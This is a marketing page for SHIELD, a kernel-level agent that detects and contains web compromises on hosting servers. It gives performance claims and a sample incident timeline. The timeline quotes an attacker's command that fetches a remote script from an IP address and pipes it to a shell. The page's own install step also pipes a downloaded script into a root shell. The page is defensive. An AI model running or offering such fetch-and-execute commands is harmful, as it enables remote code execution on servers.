Web compromise security · from one server to a fleet
It sees the whole attack and cuts it inside the server.The compromised account is isolated on the spot, and nothing else is touched.
It does not trust a single signal: it watches everything an attack touches at once, from the request coming in to the connection trying to leave, and acts when several agree. No signatures, and not one line of your configuration changes.
The free plan is permanent, and it holds nothing back on detection: it runs the same engine as the paid plans.
Real compromise · account u1042
14:02:11.320requestPOST /wp-admin/admin-ajax.php
14:02:11.324execsh -c "curl -s 45.9.148.x/i|sh"
14:02:11.326write/var/www/u1042/wp-content/.u.php
14:02:11.331connectContained45.9.148.x:443
Four traces, one case. Everyone else sees one each; SHIELD sees the story and cuts it.
Getting it running
The whole installation is this command
The agent is a single executable and needs nothing else on the machine: everything it takes to watch and decide travels inside it.
root@web-01
$ curl -sSL https://shield.get-app.store/install.sh | sudo sh
It starts in observation mode: it blocks nothing until you decide. And uninstalling costs the same as installing.
Verifies the binary's signature before touching the server
Linux x86-64 and ARM64, on any distribution
Registers the service and calibrates to what it finds
The problem
A compromised server costs you money and reputation
Whether it is one server with twenty sites or an estate of a thousand: a single compromised account contaminates everything around it. IPs on blocklists, mail that stops being delivered, defacement, mining that burns CPU, and a support team buried in abuse tickets.
WAFs and signatures get evaded
The application firewall guesses from the request; an obfuscated webshell or a 0-day walks straight past. By the time a signature fires, the attacker has been inside for days.
False positives drown the team
A noisy detector creates more work than security. If you cannot run it in blocking mode without breaking legitimate sites, you do not run it — and you are left with alerts only.
Your IPs end up on blocklists
Outbound spam, connections to attacker servers and mining from the web process burn your network reputation. Getting a blocked IP back costs days of deliverability and unhappy customers.
In three moves
One agent. It sees the attack, cuts it, and knows which account it came from.
1
It sees the execution
The decoded webshell, the command being launched, the connection going out. Six planes watching at once.
2
It contains it on the spot
Denies the execution, kills the process, isolates the account. Inside the kernel, not at the door.
3
It attributes it to the account
Which account, which process and which request. You isolate the compromised one without touching its neighbours.
Zero wrong actions across 2.6 million real files and events
2,642,115real files and events analysed
0wrong actions taken
86.9%of malware it had never seen, detected
96.6%of brand-new families, recognised by their intent
All of them are measured through the same detection path that runs on the server —not through a model in isolation— and any one of them reproduces with a single command.
What changes in next month's numbers, not on a dashboard.
It protects your network reputation
Cuts outbound spam, connections to attacker servers and mining before they burn your IPs. Fewer blocklists, better deliverability, fewer furious customers.
How does it do it?
It cuts malicious outbound traffic before it leaves: the connection is denied on the spot if the IP is blocked or the account is quarantined, and the volume of data going out is measured inside the system to catch exfiltration. What one server detects is shared signed with the rest, so an IP burnt on one machine is blocked across your whole fleet.
It frees up your team
Prudent containment by default and per-account sensitivity: your team chases real threats, not ghosts. Fewer abuse tickets and fewer manual clean-ups at midnight.
How does it do it?
Two things cut the noise at the root: containment only acts on certainty signals and everything else stays a warning; and sensitivity is tuned per account, not globally —one noisy site does not force everyone's threshold up—. On top of that, the model is tuned with your own fleet's data and a statistical test discards any change that would raise the false-positive rate before it ships.
Contain without collateral damage
It isolates the compromised account without touching its neighbours on the same server, and reversibly in case you got it wrong. Shared hosting stops being a risk to everyone.
How does it do it?
Isolation is per account, not per server: a lock inside the kernel tied to the account's identity cuts off its execution and network only. The neighbours carry on as normal. And if it turned out to be a mistake, neutralising the file is reversible: it keeps how to undo it.
Respond and comply
Every event is chained to the previous one, so any attempt to delete or edit the trail is detected. A case file per incident, IP and account, exportable to your SIEM: incident response stops being archaeology.
How does it do it?
Every event is cryptographically chained to the previous one: any deletion or edit of the trail is detected. It is a chain of custody that survives an audit. Every compromise produces its case file —timeline, indicators, tracing by IP and by account— and all of it exports in your SIEM's format already.
You pay nothing in performance
≈50 MB of RAM and under 1% of one core, hour after hour. The per-event decision resolves in microseconds, with no external engines and no cloud lookups. You keep your account density and your margins.
How does it do it?
The agent decides with no heavy engines and no cloud calls: the intelligence is embedded in the binary itself —a single executable, with no dependencies to install— and runs optimised. Measured: the behaviour check takes 32 nanoseconds and the rest of the engines stay in the microsecond range.
Straightforward deployment
A self-contained installer, four init systems supported and a single configuration file. No heavy agent and no interpreter extension to maintain version after version.
How does it do it?
A single self-contained installer (intelligence included), one configuration file and support for four init systems (systemd, OpenRC, runit and SysV), so it works on any distribution. There is no PHP extension to install or maintain version after version: the agent lives outside the account and calibrates itself to each one.
See it on your own data
Deploy the agent on three servers and leave it in observation mode. Within days you will have the figures for your own traffic: what it would have detected, what it would have contained and with how much noise. Turning on blocking is a later configuration change, and it is your call.
